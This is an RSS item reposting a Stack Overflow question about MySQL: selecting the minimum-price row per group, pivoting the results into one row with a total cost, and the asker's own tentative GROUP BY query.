<description><![CDATA[<br />            <p>Here is a simplified version of my table:</p><br /><br /><pre><code>group price spec<br />a     1     .<br />a     2     ..<br />b     1     ...<br />b     2<br />c     .<br />.     .<br />.     .<br /></code></pre><br /><br /><p>I'd like to produce a result like this:(I'll refer to this as result_table)</p><br /><br /><pre><code>price_a |spec_a |price_b |spec_b |price_c ...|total_cost<br />1       |.      |1       |..     |...        |<br />(min)            (min)                        =1+1+...<br /></code></pre><br /><br /><p>Basically I want to:</p><br /><br /><ol><br /><li>select the rows containing the <strong>min</strong> price within each group</li><br /><li>combine columns into a single row </li><br /></ol><br /><br /><p>I know this can be done using several queries and/or combined with some non-sql processing on the results, but I suspect that there maybe better solutions.</p><br /><br /><p>The reason that I want to do task 2 (combine columns into a single row)<br />is because I want to do something like the following with the result_table:</p><br /><br /><pre><code>select *,<br />(result_table.total_cost + table1.price + table.2.price) as total_combined_cost<br />from result_table <br />right join table1<br />right join table2<br /></code></pre><br /><br /><p>This may be too much to ask for, so here is some other thoughts on the problem:</p><br /><br /><p>Instead of trying to combine multiple rows(task 2), store them in a temporary table <br />(which would be easier to calculate the total_cost using sum)</p><br /><br /><p>Feel free to drop any thoughts, don't have to be complete answer, I feel it's brilliant enough if you have an elegant way to do task 1 <strong>!</strong></p><br /><br /><p>==Edited/Added==</p><br /><br /><p>The goal of my program is to identify best combinations of items with minimal cost (and preferably possess higher utilitarian value at the same time).</p><br /><br /><p>Consider @ypercube's comment about large number of groups, temporary table seems to be the only feasible solution. And it is also pointed out there is no pivoting function in MySQL (although <a href="http://www.artfulsoftware.com/infotree/queries.php#523" rel="nofollow">it can be implemented</a>, it's not necessary to perform such operation).</p><br /><br /><p>Okay, after study @Johan's answer, I'm thinking about something like this for task 1:</p><br /><br /><pre><code>select * from<br />(<br />    select * from<br />    result_table<br />    order by price asc<br />) as ordered_table<br />group by group<br />;<br /></code></pre><br /><br /><p>Although looks dodgy, it seems to work.</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/646732" rel="nofollow">Miranda</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

</channel>
</rss>

